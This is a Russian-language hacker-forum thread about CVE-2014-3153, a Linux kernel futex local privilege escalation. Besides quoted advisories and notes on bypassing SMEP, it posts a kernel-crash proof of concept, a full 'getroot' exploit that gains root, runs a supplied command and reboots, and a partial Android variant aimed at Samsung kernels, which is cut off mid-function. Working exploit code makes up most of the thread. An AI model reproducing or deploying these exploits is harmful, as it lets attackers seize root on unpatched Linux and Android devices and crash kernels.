Старый 05.06.2014, 20:17   #1
12309
 
Регистрация: 25.12.2011
Сообщений: 265
Репутация: 33
По умолчанию CVE-2014-3153 Linux kernel futex local privilege escalation

Пинки нашла уязвимость, потенциально позволяющая повысить привилегии

Цитата:
Pinkie Pie discovered an issue in the futex subsystem that allows a
local user to gain ring 0 control via the futex syscall. An
unprivileged user could use this flaw to crash the kernel (resulting
in denial of service) or for privilege escalation.
крохотные патчи http://lists.openwall.net/linux-kernel/2014/06/05/176 http://lists.openwall.net/linux-kernel/2014/06/05/179

ждём RCE от Луны

added @04.2015: небольшое ревью в 10-м посте

Последний раз редактировалось SynQ; 30.04.2015 в 21:14..
12309 вне форума   Ответить с цитированием
Старый 06.06.2014, 11:09   #2
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Цитата:
Specifically, the futex syscall can leave a queued kernel waiter hanging
on the stack. By manipulating the stack with further syscalls, the waiter
structure can be altered. When later woken up, the altered waiter can
result in arbitrary code execution in ring 0.
PS PinkiePie = comex
SynQ вне форума   Ответить с цитированием
Старый 02.07.2014, 11:37   #3
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию



crash poc: http://pastebin.com/PzgRYN6q

Код:
/*

 *    Kernel crash by CVE-2014-3153

 */

 

#include <unistd.h>

#include <linux/futex.h>

#include <pthread.h>

#include <unistd.h>

#include <sys/syscall.h>

#include <sys/resource.h>

#include <stdio.h>

#include <stdlib.h>

#include <errno.h>

 

#ifndef FUTEX_WAIT_REQUEUE_PI

#define FUTEX_WAIT_REQUEUE_PI   11

#endif

 

#ifndef FUTEX_CMP_REQUEUE_PI

#define FUTEX_CMP_REQUEUE_PI   12

#endif

 

#define UNUSED                  0

 

int key_non_pi;

int key_pi;

 

struct timespec ts = {

        0,

        10000

};

 

 

static int

futex(int *uaddr, int op, int val,

      const struct timespec *timeout, int *uaddr2, int val3)

{

        return syscall(__NR_futex, uaddr, op, val, timeout, uaddr2, val3);

}

 

static int

futex_wait_requeue_pi(int *uaddr, int val, const struct timespec *timeout, int *uaddr2)

{

        return futex(uaddr, FUTEX_WAIT_REQUEUE_PI, val, timeout, uaddr2, UNUSED);

}

 

static int

futex_lock_pi(int *uaddr, int val, const struct timespec *timeout)

{

        return futex(uaddr, FUTEX_LOCK_PI, val, timeout, UNUSED, UNUSED);

}

 

static int

futex_cmp_requeue_pi(int *uaddr, int val, int *uaddr2, int val2, int val3)

{

        return futex(uaddr, FUTEX_CMP_REQUEUE_PI, val, (const void *)val2, uaddr2, val3);

}

 

 

void *

lock_pi(void *name)

{

        futex_lock_pi(&key_pi, 1, NULL);

        nanosleep(&ts, NULL);

}

 

void *

wait_queue_pi(void *name)

{

        setpriority(PRIO_PROCESS , 0, 16);

        futex_wait_requeue_pi(&key_non_pi, 0, NULL, &key_pi);

}

 

int

main()

{

        pthread_t w1, l1, l2, l3, l4, l5;

 

        futex_lock_pi(&key_pi, 1, NULL);

 

        key_non_pi = 0;

        futex_cmp_requeue_pi(&key_non_pi, 1, &key_pi, 0, 0);

 

        key_non_pi = 0;

        futex_cmp_requeue_pi(&key_non_pi, 1, &key_pi, 0, 0);

 

        pthread_create(&w1, NULL, wait_queue_pi, "w1");

 

        nanosleep(&ts, NULL);

 

        key_non_pi = 0;

        futex_cmp_requeue_pi(&key_non_pi, 1, &key_pi, 0, 0);

 

        pthread_create(&l1, NULL, lock_pi, "l1");

 

        nanosleep(&ts, NULL);

 

        key_pi = 0;

        futex_cmp_requeue_pi(&key_pi, 1, &key_pi, 0, 0);

 

        pthread_create(&l2, NULL, lock_pi, "l2");

        pthread_create(&l3, NULL, lock_pi, "l3");

        pthread_create(&l4, NULL, lock_pi, "l4");

        pthread_create(&l5, NULL, lock_pi, "l5");

 

        nanosleep(&ts, NULL);

        nanosleep(&ts, NULL);

 

        return 0;

}

Последний раз редактировалось Pashkela; 24.08.2014 в 18:50..
SynQ вне форума   Ответить с цитированием
Старый 04.07.2014, 22:50   #4
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

http://www.clevcode.org/cve-2014-3153-exploit/

не выложит, грит SMEP обошел, но там есть ряд подробностей интересных

Цитата:
My initial exploit patched the release() function pointer in the ptmx_fops structure, to achieve code execution in kernel context and calling commit_creds(prepare_kernel_cred(0)). The problem with this approach, however, was that it is prevented by a protection mechanism known as SMEP, that is supported by Intel Haswell CPU:s. Due to this, I changed my exploit to target the addr_limit value in the thread_info structure instead. This allows me to enable one of my threads to read/write arbitrary kernel memory, and provide root-access for me (and optionally disable other kernel-based protection mechanisms, such as SELinux) without having to executing any code in kernel context.
Pashkela вне форума   Ответить с цитированием
Старый 21.07.2014, 01:19   #5
nobody
 
Аватар для nobody
 
Регистрация: 05.07.2010
Сообщений: 176
Репутация: 130
По умолчанию

http://pastebin.com/A0PzPKnM

Код:
/* getroot 2014/07/12 */

/*
 * Copyright (C) 2014 CUBE
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>

#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12

struct mmsghdr {
	struct msghdr msg_hdr;
	unsigned int  msg_len;
};

//rodata
const char str_ffffffff[] = {0xff, 0xff, 0xff, 0xff, 0};
const char str_1[] = {1, 0, 0, 0, 0};

//bss
int _swag = 0;
int _swag2 = 0;
unsigned long HACKS_final_stack_base = 0;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
int do_socket_tid_read = 0;
int did_socket_tid_read = 0;
int do_splice_tid_read = 0;
int did_splice_tid_read = 0;
int do_dm_tid_read = 0;
int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
int g_argc;
char rootcmd[256];


ssize_t read_pipe(void *writebuf, void *readbuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	len = write(pipefd[1], writebuf, count);

	if (len != count) {
		printf("FAILED READ @ %p : %d %d\n", writebuf, (int)len, errno);
		while (1) {
			sleep(10);
		}
	}

	read(pipefd[0], readbuf, count);

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

ssize_t write_pipe(void *readbuf, void *writebuf, size_t count) {
	int pipefd[2];
	ssize_t len;

	pipe(pipefd);

	write(pipefd[1], writebuf, count);
	len = read(pipefd[0], readbuf, count);

	if (len != count) {
		printf("FAILED WRITE @ %p : %d %d\n", readbuf, (int)len, errno);
		while (1) {
			sleep(10);
		}
	}

	close(pipefd[0]);
	close(pipefd[1]);

	return len;
}

void write_kernel(int signum) {
	char *slavename;
	int pipefd[2];
	char readbuf[0x100];
	unsigned long stackbuf[4];
	unsigned long buf_a[0x100];
	unsigned long val1;
	unsigned long buf_b[0x40];
	unsigned long val2;
	unsigned long buf_c[6];
	pid_t pid;
	int i;
	int ret;

	pthread_mutex_lock(&is_thread_awake_lock);
	pthread_cond_signal(&is_thread_awake);
	pthread_mutex_unlock(&is_thread_awake_lock);

	if (HACKS_final_stack_base == 0) {
		printf("cpid1 resumed.\n");

		pthread_mutex_lock(is_kernel_writing);

		HACKS_fdm = open("/dev/ptmx", O_RDWR);
		unlockpt(HACKS_fdm);
		slavename = ptsname(HACKS_fdm);

		open(slavename, O_RDWR);

		do_splice_tid_read = 1;
		while (1) {
			if (did_splice_tid_read != 0) {
				break;
			}
		}

		read(HACKS_fdm, readbuf, 0x100);

		write_pipe((void *)(HACKS_final_stack_base + 8), (void *)str_ffffffff, 4);

		pthread_mutex_unlock(is_kernel_writing);

		while (1) {
			sleep(10);
		}
	}

	printf("cpid3 resumed.\n");

	pthread_mutex_lock(is_kernel_writing);

	printf("hack.\n");

	read_pipe((void *)HACKS_final_stack_base, stackbuf, 0x10);
	read_pipe((void *)(stackbuf[3]), buf_a, 0x400);

	val1 = 0;
	val2 = 0;
	pid = 0;

	for (i = 0; i < 0x100; i++) {
		if (buf_a[i] == buf_a[i + 1]) {
			if (buf_a[i] > 0xc0000000) {
				if (buf_a[i + 2] == buf_a[i + 3]) {
					if (buf_a[i + 2] > 0xc0000000) {
						if (buf_a[i + 4] == buf_a[i + 5]) {
							if (buf_a[i + 4] > 0xc0000000) {
								if (buf_a[i + 6] == buf_a[i + 7]) {
									if (buf_a[i + 6] > 0xc0000000) {
										val1 = buf_a[i + 7];
										break;
									}
								}
							}
						}
					}
				}
			}
		}
	}

	read_pipe((void *)val1, buf_b, 0x100);
	val2 = buf_b[0x16];
	if (val2 > 0xc0000000) {
		if (val2 < 0xffff0000) {
			read_pipe((void *)val2, buf_c, 0x18);
			if (buf_c[0] != 0) {
				if (buf_c[1] != 0) {
					if (buf_c[2] == 0) {
						if (buf_c[3] == 0) {
							if (buf_c[4] == 0) {
								if (buf_c[5] == 0) {
									buf_c[0] = 1;
									buf_c[1] = 1;

									write_pipe((void *)val2, buf_c, 0x18);
								}
							}
						}
					}
				}
			}
		}
	}

	buf_b[1] = 0;
	buf_b[2] = 0;
	buf_b[3] = 0;
	buf_b[4] = 0;
	buf_b[5] = 0;
	buf_b[6] = 0;
	buf_b[7] = 0;
	buf_b[8] = 0;

	buf_b[10] = 0xffffffff;
	buf_b[11] = 0xffffffff;
	buf_b[12] = 0xffffffff;
	buf_b[13] = 0xffffffff;
	buf_b[14] = 0xffffffff;
	buf_b[15] = 0xffffffff;
	buf_b[16] = 0xffffffff;
	buf_b[17] = 0xffffffff;

	write_pipe((void *)val1, buf_b, 0x48);

	pid = syscall(__NR_gettid);

	i = 0;
	while (1) {
		if (buf_a[i] == pid) {
			write_pipe((void *)(stackbuf[3] + (i << 2)), (void *)str_1, 4);

			if (getuid() != 0) {
				printf("root failed.\n");
				while (1) {
					sleep(10);
				}
			} else {
				break;
			}
		}

		i++;
	}

	//rooted
	sleep(1);

	if (g_argc >= 2) {
		system(rootcmd);
	}
	system("/system/bin/touch /dev/rooted");

	pid = fork();
	if (pid == 0) {
		while (1) {
			ret = access("/dev/rooted", F_OK);
			if (ret >= 0) {
				break;
			}
		}

		printf("wait 10 seconds...\n");
		sleep(10);

		printf("rebooting...\n");
		sleep(1);
		system("reboot");

		while (1) {
			sleep(10);
		}
	}

	pthread_mutex_lock(&done_lock);
	pthread_cond_signal(&done);
	pthread_mutex_unlock(&done_lock);

	while (1) {
		sleep(10);
	}

	return;
}

void *make_action(void *arg) {
	int prio;
	struct sigaction act;
	int ret;

	prio = (int)arg;
	last_tid = syscall(__NR_gettid);

	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_cond_signal(&is_thread_desched);

	act.sa_handler = write_kernel;
	act.sa_mask = 0;
	act.sa_flags = 0;
	act.sa_restorer = NULL;
	sigaction(12, &act, NULL);

	setpriority(PRIO_PROCESS, 0, prio);

	pthread_mutex_unlock(&is_thread_desched_lock);

	do_dm_tid_read = 1;

	while (1) {
		if (did_dm_tid_read != 0) {
			break;
		}
	}

	ret = syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
	printf("futex dm: %d\n", ret);

	while (1) {
		sleep(10);
	}

	return NULL;
}

pid_t wake_actionthread(int prio) {
	pthread_t th4;
	pid_t pid;
	char filename[256];
	FILE *fp;
	char filebuf[0x1000];
	char *pdest;
	int vcscnt, vcscnt2;

	do_dm_tid_read = 0;
	did_dm_tid_read = 0;

	pthread_mutex_lock(&is_thread_desched_lock);
	pthread_create(&th4, 0, make_action, (void *)prio);
	pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);

	pid = last_tid;

	sprintf(filename, "/proc/self/task/%d/status", pid);

	fp = fopen(filename, "rb");
	if (fp == 0) {
		vcscnt = -1;
	} else {
		fread(filebuf, 1, 0x1000, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		pdest += 0x19;
		vcscnt = atoi(pdest);
		fclose(fp);
	}

	while (1) {
		if (do_dm_tid_read != 0) {
			break;
		}
		usleep(10);
	}

	did_dm_tid_read = 1;

	while (1) {
		sprintf(filename, "/proc/self/task/%d/status", pid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt2 = -1;
		} else {
			fread(filebuf, 1, 0x1000, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt2 = atoi(pdest);
			fclose(fp);
		}

		if (vcscnt2 == vcscnt + 1) {
			break;
		}
		usleep(10);

	}

	pthread_mutex_unlock(&is_thread_desched_lock);

	return pid;
}

int make_socket() {
	int sockfd;
	struct sockaddr_in addr = {0};
	int ret;
	int sock_buf_size;

	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
	if (sockfd < 0) {
		printf("socket failed.\n");
		usleep(10);
	} else {
		addr.sin_family = AF_INET;
		addr.sin_port = htons(5551);
		addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	}

	while (1) {
		ret = connect(sockfd, (struct sockaddr *)&addr, 16);
		if (ret >= 0) {
			break;
		}
		usleep(10);
	}

	sock_buf_size = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));

	return sockfd;
}

void *send_magicmsg(void *arg) {
	int sockfd;
	struct mmsghdr msgvec[1];
	struct iovec msg_iov[8];
	unsigned long databuf[0x20];
	int i;
	int ret;

	waiter_thread_tid = syscall(__NR_gettid);
	setpriority(PRIO_PROCESS, 0, 12);

	sockfd = make_socket();

	for (i = 0; i < 0x20; i++) {
		databuf[i] = MAGIC;
	}

	for (i = 0; i < 8; i++) {
		msg_iov[i].iov_base = (void *)MAGIC;
		msg_iov[i].iov_len = 0x10;
	}

	msgvec[0].msg_hdr.msg_name = databuf;
	msgvec[0].msg_hdr.msg_namelen = 0x80;
	msgvec[0].msg_hdr.msg_iov = msg_iov;
	msgvec[0].msg_hdr.msg_iovlen = 8;
	msgvec[0].msg_hdr.msg_control = databuf;
	msgvec[0].msg_hdr.msg_controllen = 0x20;
	msgvec[0].msg_hdr.msg_flags = 0;
	msgvec[0].msg_len = 0;

	syscall(__NR_futex, &_swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &_swag2, 0);

	do_socket_tid_read = 1;

	while (1) {
		if (did_socket_tid_read != 0) {
			break;
		}
	}

	ret = 0;

	while (1) {
		ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
		if (ret <= 0) {
			break;
		}
	}

	if (ret < 0) {
		perror("SOCKSHIT");
	}
	printf("EXIT WTF\n");
	while (1) {
		sleep(10);
	}

	return NULL;
}

void *search_goodnum(void *arg) {
	int ret;
	char filename[256];
	FILE *fp;
	char filebuf[0x1000];
	char *pdest;
	int vcscnt, vcscnt2;
	unsigned long magicval;
	pid_t pid;
	unsigned long goodval, goodval2;
	unsigned long addr, setaddr;
	int i;
	char buf[0x1000];

	syscall(__NR_futex, &_swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);

	while (1) {
		ret = syscall(__NR_futex, &_swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag);
		if (ret == 1) {
			break;
		}
		usleep(10);
	}

	wake_actionthread(6);
	wake_actionthread(7);

	_swag2 = 0;
	do_socket_tid_read = 0;
	did_socket_tid_read = 0;

	syscall(__NR_futex, &_swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &_swag2, _swag2);

	while (1) {
		if (do_socket_tid_read != 0) {
			break;
		}
	}

	sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);

	fp = fopen(filename, "rb");
	if (fp == 0) {
		vcscnt = -1;
	} else {
		fread(filebuf, 1, 0x1000, fp);
		pdest = strstr(filebuf, "voluntary_ctxt_switches");
		pdest += 0x19;
		vcscnt = atoi(pdest);
		fclose(fp);
	}

	did_socket_tid_read = 1;

	while (1) {
		sprintf(filename, "/proc/self/task/%d/status", waiter_thread_tid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt2 = -1;
		} else {
			fread(filebuf, 1, 0x1000, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt2 = atoi(pdest);
			fclose(fp);
		}

		if (vcscnt2 == vcscnt + 1) {
			break;
		}
		usleep(10);
	}

	printf("starting the dangerous things.\n");

	*((unsigned long *)(MAGIC_ALT - 4)) = 0x81;
	*((unsigned long *)MAGIC_ALT) = MAGIC_ALT + 0x20;
	*((unsigned long *)(MAGIC_ALT + 8)) = MAGIC_ALT + 0x28;
	*((unsigned long *)(MAGIC_ALT + 0x1c)) = 0x85;
	*((unsigned long *)(MAGIC_ALT + 0x24)) = MAGIC_ALT;
	*((unsigned long *)(MAGIC_ALT + 0x2c)) = MAGIC_ALT + 8;

	*((unsigned long *)(MAGIC - 4)) = 0x81;
	*((unsigned long *)MAGIC) = MAGIC + 0x20;
	*((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
	*((unsigned long *)(MAGIC + 0x1c)) = 0x85;
	*((unsigned long *)(MAGIC + 0x24)) = MAGIC;
	*((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;

	magicval = *((unsigned long *)MAGIC);

	wake_actionthread(11);

	if (*((unsigned long *)MAGIC) == magicval) {
		printf("using MAGIC_ALT.\n");
		MAGIC = MAGIC_ALT;
	}

	while (1) {
		is_kernel_writing = (pthread_mutex_t *)malloc(4);
		pthread_mutex_init(is_kernel_writing, NULL);

		*((unsigned long *)(MAGIC - 4)) = 0x81;
		*((unsigned long *)MAGIC) = MAGIC + 0x20;
		*((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
		*((unsigned long *)(MAGIC + 0x1c)) = 0x85;
		*((unsigned long *)(MAGIC + 0x24)) = MAGIC;
		*((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;

		pid = wake_actionthread(11);

		goodval = *((unsigned long *)MAGIC) & 0xffffe000;

		printf("%p is a good number.\n", (void *)goodval);

		do_splice_tid_read = 0;
		did_splice_tid_read = 0;

		pthread_mutex_lock(&is_thread_awake_lock);

		kill(pid, 12);

		pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
		pthread_mutex_unlock(&is_thread_awake_lock);

		while (1) {
			if (do_splice_tid_read != 0) {
				break;
			}
			usleep(10);
		}

		sprintf(filename, "/proc/self/task/%d/status", pid);
		fp = fopen(filename, "rb");
		if (fp == 0) {
			vcscnt = -1;
		} else {
			fread(filebuf, 1, 0x1000, fp);
			pdest = strstr(filebuf, "voluntary_ctxt_switches");
			pdest += 0x19;
			vcscnt = atoi(pdest);
			fclose(fp);
		}

		did_splice_tid_read = 1;

		while (1) {
			sprintf(filename, "/proc/self/task/%d/status", pid);
			fp = fopen(filename, "rb");
			if (fp == 0) {
				vcscnt2 = -1;
			} else {
				fread(filebuf, 1, 0x1000, fp);
				pdest = strstr(filebuf, "voluntary_ctxt_switches");
				pdest += 19;
				vcscnt2 = atoi(pdest);
				fclose(fp);
			}

			if (vcscnt2 != vcscnt + 1) {
				break;
			}
			usleep(10);
		}

		goodval2 = 0;

		*((unsigned long *)(MAGIC - 4)) = 0x81;
		*((unsigned long *)MAGIC) = MAGIC + 0x20;
		*((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
		*((unsigned long *)(MAGIC + 0x1c)) = 0x85;
		*((unsigned long *)(MAGIC + 0x24)) = MAGIC;
		*((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;

		*((unsigned long *)(MAGIC + 0x24)) = goodval + 8;

		wake_actionthread(12);
		goodval2 = *((unsigned long *)(MAGIC + 0x24));

		printf("%p is also a good number.\n", (void *)goodval2);

		for (i = 0; i < 9; i++) {
			*((unsigned long *)(MAGIC - 4)) = 0x81;
			*((unsigned long *)MAGIC) = MAGIC + 0x20;
			*((unsigned long *)(MAGIC + 8)) = MAGIC + 0x28;
			*((unsigned long *)(MAGIC + 0x1c)) = 0x85;
			*((unsigned long *)(MAGIC + 0x24)) = MAGIC;
			*((unsigned long *)(MAGIC + 0x2c)) = MAGIC + 8;

			pid = wake_actionthread(10);

			if (*((unsigned long *)MAGIC) < goodval2) {
				HACKS_final_stack_base = *((unsigned long *)MAGIC) & 0xffffe000;

				pthread_mutex_lock(&is_thread_awake_lock);

				kill(pid, 12);

				pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
				pthread_mutex_unlock(&is_thread_awake_lock);

				write(HACKS_fdm, buf, 0x1000);

				while (1) {
					sleep(10);
				}
			}

		}
	}

	return NULL;
}

void *accept_socket(void *arg) {
	int sockfd;
	int yes;
	struct sockaddr_in addr = {0};
	int ret;

	sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);

	yes = 1;
	setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));

	addr.sin_family = AF_INET;
	addr.sin_port = htons(5551);
	addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
	bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));

	listen(sockfd, 1);

	while(1) {
		ret = accept(sockfd, NULL, NULL);
		if (ret < 0) {
			printf("**** SOCK_PROC failed ****\n");
			while(1) {
				sleep(10);
			}
		} else {
			printf("i have a client like hookers.\n");
		}
	}

	return NULL;
}

void init_exploit() {
	unsigned long addr;
	pthread_t th1, th2, th3;

	printf("running with pid %d\n", getpid());

	pthread_create(&th1, NULL, accept_socket, NULL);

	addr = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	addr += 0x800;
	MAGIC = addr;
	if ((long)addr >= 0) {
		printf("first mmap failed?\n");
		while (1) {
			sleep(10);
		}
	}

	addr = (unsigned long)mmap((void *)0x100000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
	addr += 0x800;
	MAGIC_ALT = addr;
	if (addr > 0x110000) {
		printf("second mmap failed?\n");
		while (1) {
			sleep(10);
		}
	}

	pthread_mutex_lock(&done_lock);
	pthread_create(&th2, NULL, search_goodnum, NULL);
	pthread_create(&th3, NULL, send_magicmsg, NULL);
	pthread_cond_wait(&done, &done_lock);

	return;
}

int main(int argc, char **argv) {
	g_argc = argc;

	if (argc >= 2) {
		strcpy(rootcmd, argv[1]);
	}

	init_exploit();

	printf("\n");
	printf("done root command.\n");

	while (1) {
		sleep(10);
	}

	return 0;
}
__________________
Sad panda

Последний раз редактировалось Pashkela; 24.08.2014 в 18:52..
nobody вне форума   Ответить с цитированием
Старый 12.08.2014, 14:29   #6
Pashkela
 
Аватар для Pashkela
 
Регистрация: 05.07.2010
Сообщений: 1,243
По умолчанию

https://gist.github.com/fi01/a838dea63323c7c003cd

отличается от предыдущего поста

Код:
//Android.mk にて、「LOCAL_CFLAGS := -fno-stack-protector -mno-thumb -O0」を指定すること。
 
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>
 
#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12
 
#define ARRAY_SIZE(a)		(sizeof (a) / sizeof (*(a)))
 
#define KERNEL_START		0xc0000000
 
#define LOCAL_PORT		5551
 
struct thread_info;
struct task_struct;
struct cred;
struct kernel_cap_struct;
struct task_security_struct;
struct list_head;
 
struct thread_info {
	unsigned long flags;
	int preempt_count;
	unsigned long addr_limit;
	struct task_struct *task;
 
	/* ... */
};
 
struct kernel_cap_struct {
	unsigned long cap[2];
};
 
struct cred {
	unsigned long usage;
	uid_t uid;
	gid_t gid;
	uid_t suid;
	gid_t sgid;
	uid_t euid;
	gid_t egid;
	uid_t fsuid;
	gid_t fsgid;
	unsigned long securebits;
	struct kernel_cap_struct cap_inheritable;
	struct kernel_cap_struct cap_permitted;
	struct kernel_cap_struct cap_effective;
	struct kernel_cap_struct cap_bset;
	unsigned char jit_keyring;
	void *thread_keyring;
	void *request_key_auth;
	void *tgcred;
	struct task_security_struct *security;
 
	/* ... */
};
 
struct list_head {
	struct list_head *next;
	struct list_head *prev;
};
 
struct task_security_struct {
	unsigned long osid;
	unsigned long sid;
	unsigned long exec_sid;
	unsigned long create_sid;
	unsigned long keycreate_sid;
	unsigned long sockcreate_sid;
};
 
 
struct task_struct_partial {
	struct list_head cpu_timers[3]; 
	struct cred *real_cred;
	struct cred *cred;
	struct cred *replacement_session_keyring;
	char comm[16];
};
 
struct mmsghdr {
	struct msghdr msg_hdr;
	unsigned int  msg_len;
};
 
struct phonefmt {
	char *version;
	unsigned long l1;
	unsigned long l2;
	unsigned long l3;
};
 
struct phonefmt default_phone = {"", 0, 1, 0};
struct phonefmt new_samsung = {"Linux version 3.4.0-", 1, 1, 0x00001cd4};
struct phonefmt phones[1] = {"Linux version 3.4.0-722276", 1, 1, 0x00001cd4};
struct phonefmt *ph = &default_phone;
 
//bss
int _swag = 0;
int _swag2 = 0;
struct thread_info *HACKS_final_stack_base = NULL;
pid_t waiter_thread_tid;
pthread_mutex_t done_lock;
pthread_cond_t done;
pthread_mutex_t is_thread_desched_lock;
pthread_cond_t is_thread_desched;
volatile int do_socket_tid_read = 0;
volatile int did_socket_tid_read = 0;
volatile int do_splice_tid_read = 0;
volatile int did_splice_tid_read = 0;
volatile int do_dm_tid_read = 0;
volatile int did_dm_tid_read = 0;
pthread_mutex_t is_thread_awake_lock;
pthread_cond_t is_thread_awake;
int HACKS_fdm = 0;
unsigned long MAGIC = 0;
unsigned long MAGIC_ALT = 0;
pthread_mutex_t *is_kernel_writing;
pid_t last_tid = 0;
 
 
void sub_bd38_check_kernel_version(void)
{
	char filebuf[0x1000];
	FILE *fp;
	int i;
	char *pdest;
	int foundph;
	int ret;
	int kernel_num;
 
	memset(filebuf, sizeof filebuf, 0);
 
	fp = fopen("/proc/version", "rb");
	fread(filebuf, 1, sizeof(filebuf) - 1, fp);
	fclose(fp);
 
	printf("got kernel version %s\n", filebuf);
 
	for (i = 0; i < ARRAY_SIZE(phones); i++) {
		pdest = strstr(filebuf, phones[i].version);
		if (pdest != 0) {
			printf("found matching phone: %s\n", phones[i].version);
			ph = &phones[i];
			foundph = 1;
 
			return;
		}
	}
 
	ret = memcmp(filebuf, new_samsung.version, strlen(new_samsung.version));
	if (ret == 0) {
		pdest = filebuf + strlen(new_samsung.version);
		kernel_num = atoi(pdest);
		printf("got kernel number %d\n", kernel_num);
 
		if (kernel_num > 951485) {
			printf("using new samsung\n");
			ph = &new_samsung;
			foundph = 1;
			return;
		}
	}
 
	printf("no matching phone found, trying default\n");
	foundph = 0;
 
	return;
}
 
ssize_t sub_ba44_readmem(const void *src, void *dest, size_t count)
{
	int pipefd[2];
	ssize_t len;
 
	pipe(pipefd);
 
	len = write(pipefd[1], src, count);
 
	if (len != count) {
		printf("FAILED READ @ %p : %d %d\n", src, (int)len, errno);
		while (1) {
			sleep(10);
		}
	}
 
	read(pipefd[0], dest, count);
 
	close(pipefd[0]);
	close(pipefd[1]);
 
	return len;
}
 
ssize_t sub_b7d8_writemem(void *dest, const void *src, size_t count)
{
	int pipefd[2];
	ssize_t len;
 
	pipe(pipefd);
 
	write(pipefd[1], src, count);
	len = read(pipefd[0], dest, count);
 
	if (len != count) {
		printf("FAILED WRITE @ %p : %d %d\n", dest, (int)len, errno);
		while (1) {
			sleep(10);
		}
	}
 
	close(pipefd[0]);
	close(pipefd[1]);
 
	return len;
}
 
void sub_881c_get_root(int signum)
{
	struct thread_info stackbuf;
	unsigned long taskbuf[0x100];
	struct cred *cred;
	struct cred credbuf;
	struct task_security_struct *security;
	struct task_security_struct securitybuf;
	pid_t pid;
	int i;
	int ret;
	FILE *fp;
 
	pthread_mutex_lock(&is_thread_awake_lock);
	pthread_cond_signal(&is_thread_awake);
	pthread_mutex_unlock(&is_thread_awake_lock);
 
	if (HACKS_final_stack_base == NULL) {
		static unsigned long new_addr_limit = 0xffffffff;
		char *slavename;
		int pipefd[2];
		char readbuf[0x100];
 
		printf("cpid1 resumed\n");
 
		pthread_mutex_lock(is_kernel_writing);
 
		HACKS_fdm = open("/dev/ptmx", O_RDWR);
		unlockpt(HACKS_fdm);
		slavename = ptsname(HACKS_fdm);
 
		open(slavename, O_RDWR);
 
		if (ph->l3 != 0) {
			pipe(pipefd);
 
			do_splice_tid_read = 1;
			while (1) {
				if (did_splice_tid_read != 0) {
					break;
				}
			}
 
			syscall(__NR_splice, HACKS_fdm, NULL, pipefd[1], NULL, sizeof readbuf, 0);
		}
		else {
			do_splice_tid_read = 1;
			while (1) {
				if (did_splice_tid_read != 0) {
					break;
				}
			}
 
			read(HACKS_fdm, readbuf, sizeof readbuf);
		}
 
